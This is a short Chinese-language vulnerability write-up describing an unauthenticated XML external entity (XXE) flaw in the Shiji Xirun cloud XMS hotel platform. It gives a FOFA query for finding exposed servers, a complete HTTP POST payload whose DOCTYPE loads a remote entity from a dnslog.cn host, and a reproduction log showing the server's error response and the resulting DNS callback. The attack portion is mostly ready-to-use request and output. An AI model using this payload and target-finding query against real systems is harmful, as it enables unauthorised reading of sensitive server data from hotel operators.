

X1-1西软云-XMS-XXE

漏洞描述：

西软云XMS /XopServerRS/rest/futurehotel/operate接口处存在XML实体注入漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感数据，使系统处于极不安全状态。

网站图片：



网络测绘：

fofa语法：

FOFA: app="shiji-西软云XMS"

漏洞复现：

payload:

```
POST /XopServerRS/rest/futurehotel/operate HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxx.dnslog.cn"> %remote;]>
```

效果图:

Dnslog验证

Request

<> 数据包扫描 热加载 构造请求

1 POST /XopServerRS/rest/futurehotel/operate HTTP/1.1

2 Host: your-ip

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36

4 Connection: close

5 Content-Type: text/xml

6 Accept-Encoding: gzip

7

8 <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://www6kk6.dnslog.cn"> %remote;]>

Responses 702bytes / 4999ms

1 HTTP/1.1 500 Internal Server Error

2 Server: Apache-Coyote/1.1

3 Content-Type: text/html; charset=utf-8

4 Date: Thu, 29 Feb 2024 14:48:14 GMT

5 Connection: close

6 Content-Length: 702

7

8 <html><head><title>Error Report</title><script> sans-serif;color:white;background-color:#555; font-size:14px;}</BODY><{font-family:Tahoma, sans-serif;color:white;background-color:white;}</P><{font-family:Tahoma, sans-serif;color:white;background-color:white;font-size:14px;}</P></html>

内置

自定义

内置DNSLog: dnslog.cn

使用本地: ☒

生成一个可用域名

当前激活域名为 uw

只看A记录: ☒ 自动刷新记录: ☐

域名	DNS类型	远端IP	Timestamp
+ www	A	10.13	2024-03-01 06:48:14